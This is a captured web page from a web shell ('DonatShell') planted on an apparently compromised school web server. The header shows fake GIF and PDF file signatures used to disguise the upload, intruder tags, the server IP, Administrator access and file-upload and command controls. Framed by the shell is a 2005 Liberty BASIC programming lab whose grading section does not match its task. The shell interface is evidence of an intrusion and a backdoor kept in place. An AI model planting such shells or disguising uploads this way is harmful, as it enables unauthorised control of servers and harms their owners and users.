GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/Archive/CST1794-Lab-11.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


<html>
<head>
  <title>CST1794-Lab-11</title>
<style type="text/css">
td {
	vertical-align:top;
}
td.number {
	text-align:right;
}
th {
	text-align:left;
	vertical-align:top;
}
li {
	vertical-align:top;
}
li.instruction {
	margin: 5px 0px 0px 0px;
}
</style>


</head>
<body BGCOLOR="LemonChiffon" TEXT="Black" LINK="Blue" VLINK="Blue" ALINK="Red">
<div align="center">

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1794-Lab-11&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.25</b></font></td></tr>
</table>
<div>
<h1>CST1794
<br>
Lab-11
</h1>
</div>
<div>
<!-- MetaLanguage3 ! -->
<!-- Lab ! -->






<br>
<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Personalized Instruction: </b></h3></font>
<ol start="1">

  <li>Write a program called <b>Lab-11.bas</b> to perform the following:
<table style="border: 1px solid black;"><tr><td style="padding: 15px 15px 0px 15px;">
<pre>'<b> StudentNameGoesHere</b>
' Lab-11

' Write a computer program to:

'1. Display a window named Lab-11 with a WindowWidth = 500 and WindowHeight = 500.

'2. Set backcolor black.
'   Set horizscrollbar off.
'   Set vertscrollbar off.
'   fill the background with black.

'3. Display a blue circle radius 50 that has its center 100 up from the home position.

'4. Display a green elipse width 120 height 80 that has its center 100 left from the home position.

'5. Display an orange circle radius 50 that has its center 100 down from the home position.
'   Note: Color does not recognize 'orange' so you must use the RGB codes.
'         The RGB code for orange is 255 127 0.

'6. Display a red box 100 on each side that has its center 100 right from the home position.
'   Note: That the circlefill and elipsefill commands automatically draw the shape centered on the current position.
'         The boxfill command does not. It starts at the current position and goes to the X and Y location you specify.
'         This means you have have to get the current location and then add 100 to each for the boxfill.

'7. Place the following command lines after the code that displays the shapes in steps 3 through 6.
'   Replace <b>#graphWin</b> with the handle name you used to open the window.
'   They will place a small white circle in the center of each shape. 
'   If they are not displayed in the center of each shape then you did something wrong.
print <b>#graphWin</b> ,"home; north; up; go 100; size 1; color white; down; circle 3"
print <b>#graphWin</b> ,"home; north; up; turn 270; go 100; size 1; color white; down; circle 3"
print <b>#graphWin</b> ,"home; north; up; turn 180; go 100; size 1; color white; down; circle 3"
print <b>#graphWin</b> ,"home; north; up; turn 90; go 100; size 1; color white; down; circle 3"
print <b>#graphWin</b> ,"FLUSH"
</pre></td></tr></table>
NOTE: The program instructions/statements above are written as <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> comments/statements and must be copied directly into your program.
<br>
Below is an example of the output from the program.
<br>
<img src="CST1794-Lab-11.png">
<br>
NOTE: In my example program I used the graphics commands: <b>backcolor, boxfilled, circlefilled, color, down, 
ellipsefilled, fill, flush, go, home, horizscrollbar, north, posxy, size, turn, up, and vertscrollbar</b>.
  <li>The first program line must be a comment with your name (replace <b>StudentNameGoesHere</b> with your name).
  <li>Email the program file <b>Lab-11.bas</b> to me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with a subject line of <b>Assignment-CST1794-Lab-11</b>.
  <li>This lab is due by 1:30pm on Thursday, October 6th, 2005.
 </ol>
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Evaluation: </b></h3></font>
This is your 11th formal evaluation for this course.
It will be used to evaluate your progress with the use of the functions.
This lab is worth 5 points.
<!-- MetaCodeRemovedByComment -->
If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me.
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Grading: </b></h3></font>

<table>
	<tr><td class="number">Points</td><td>&nbsp;</td><td>Objective</td></tr>
	<tr><td class="number"> -5 </td> <td>&nbsp;</td> <td>Lab not handed in as directed.</td></tr>
	<tr><td class="number"> -1 </td> <td>&nbsp;</td> <td>Lab turned in late.</td></tr>
	<tr><td class="number"> -2 </td> <td>&nbsp;</td> <td>Poor lab layout (code is hard to read or follow).</td></tr>
	<tr><td class="number">  2 </td> <td>&nbsp;</td> <td>Function statements are as directed above.</td></tr>
	<tr><td class="number">  2 </td> <td>&nbsp;</td> <td>myFunction calls and assignments are as directed above.</td></tr>
	<tr><td class="number">  1 </td> <td>&nbsp;</td> <td>The last myNumber value output should be 256.</td></tr>
	<tr><td colspan="3">&nbsp;</td></tr>
	<tr><td colspan="3">
		This lab is worth 5 points.	
	</td></tr>
	<tr><td colspan="3">
		Negative values above may reduce the total points for this lab to zero.
	</td></tr>
</table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>References and Resources: </b></h3></font>
<ol>
 <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0">
  <tr valign="bottom">
    
    <td>
      <i>Beginning Programming for Dummies</i><br>
       Edition: 3rd<br>
      Wallace Wang<br>
      Wiley Publishing, Inc. ©2004<br>
      ISBN: 0-7645-4997-9<br>
    </td>
  </tr>
</table>
</td><td>(Student supplied textbook)</td></tr></table>
  <li> <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> Software (May be copied from the network and installed on leased laptop or student supplied computer) 
  <li> Computer system with OS (Leased laptop or Student supplied equipment)
  <li> Course <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> (On-line)
  <li> <a href="Examples.htm">Example Programs</a> (On-line)
 </ol>
</td></tr></table>


<div>

Return to the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> or <a href="CST1794-Syllabus.htm">Syllabus</a>,
or the <a href="javascript:history.back();">previous page</a>.


<div>

<table><tr valign="top"><td>
<font color="Navy"><h3><b>Version Information: </b></h3></font>
<table>
<tr><td>2005.01.25</td><td>New on-line modular IG started.</td><td>jfm</td></tr>
</table>
</td></tr></table>

<br>
<br>
<br>
<br>


<div align="center">
<div>
Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a>
<div>

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1794-Lab-11&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.25</b></font></td></tr>
</table>
</div>

</body>
</html>

Anon7 - 2022
AnonSec Team